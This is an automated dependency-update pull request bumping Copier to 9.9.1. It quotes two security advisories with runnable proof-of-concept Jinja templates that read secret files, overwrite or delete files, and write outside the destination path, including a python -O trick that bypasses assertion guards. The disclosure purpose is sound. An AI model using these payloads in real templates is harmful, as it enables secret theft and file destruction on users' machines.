chore(deps): update dependency copier to v9.9.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
copier	==9.8.0 -> ==9.9.1

GitHub Vulnerability Alerts

CVE-2025-55201

Impact

Copier's current security model shall restrict filesystem access through Jinja:

• Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
• Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

• Read known file:

  echo "s3cr3t" > secret.txt
  mkdir src/
  echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
  uvx copier copy src/ dst/
  cat dst/stolen-secret.txt

• Read unknown file(s) via globbing:

  mkdir secrets/
  echo "s3cr3t #​1" > secrets/secret1.txt
  echo "s3cr3t #​2" > secrets/secret2.txt
  mkdir src/
  cat <<'EOF' > src/stolen-secrets.txt.jinja
  stolen secrets:
  {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
  {% for f in parent.glob('*.txt') %}
  {{ f }}: {{ f.read_text('utf-8') }}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  cat dst/stolen-secrets.txt

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

• Overwrite known file:

  echo "s3cr3t" > secret.txt
  mkdir src/
  echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
  uvx copier copy src/ dst/
  cat secret.txt

• Overwrite unknown file(s) via globbing:

  echo "s3cr3t" > secret.txt
  mkdir src/
  cat <<'EOF' > src/malicious.txt.jinja
  {% set parent = (_copier_conf.dst_path / '..').resolve() %}
  {% for f in (parent.glob('*.txt') | list) %}
  {{ f.write_text('OVERWRITTEN', 'utf-8') }}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  cat secret.txt

• Delete unknown file(s) via globbing:

  echo "s3cr3t" > secret.txt
  mkdir src/
  cat <<'EOF' > src/malicious.txt.jinja
  {% set parent = (_copier_conf.dst_path / '..').resolve() %}
  {% for f in (parent.glob('*.txt') | list) %}
  {{ f.unlink() }}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  cat secret.txt

• Delete unknown files and directories via tree walking:

  mkdir data
  mkdir data/a
  mkdir data/a/b
  echo "foo" > data/foo.txt
  echo "bar" > data/a/bar.txt
  echo "baz" > data/a/b/baz.txt
  tree data/
  mkdir src/
  cat <<'EOF' > src/malicious.txt.jinja
  {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
  {% for root, dirs, files in parent.walk(top_down=False) %}
  {% for name in files %}
  {{ (root / name).unlink() }}
  {% endfor %}
  {% for name in dirs %}
  {{ (root / name).rmdir() }}
  {% endfor %}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  tree data/

CVE-2025-55214

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

• POSIX:

  # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
  echo "foo" > forbidden.txt
  mkdir src/
  echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src/ dst/
  cat forbidden.txt

• Windows (PowerShell):

  # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
  echo "foo" > forbidden.txt
  mkdir src
  Set-Content -Path src\copier.yml @&#8203;'
  drive:
    type: str
    default: "C:"
    when: false
  '@&#8203;
  echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src dst
  cat forbidden.txt

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

---

Release Notes

copier-org/copier (copier)

v9.9.1

Compare Source

Security

• disallow render paths outside destination directory
• cast Jinja context path variables to pathlib.PurePath

v9.9.0

Compare Source

Feat

• add support for prompting filesystem paths (#​2210)

Fix

• updating: disable secret question validator when replaying old copy
• vcs: fix cloning local dirty template repo when core.fsmonitor=true (#​2151)

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 94.49%. Comparing base (ebde5e4) to head (8f72055).
⚠️ Report is 1 commits behind head on main.

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #1167   +/-   ##
=======================================
  Coverage   94.49%   94.49%           
=======================================
  Files          41       41           
  Lines        2544     2544           
=======================================
  Hits         2404     2404           
  Misses        140      140           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.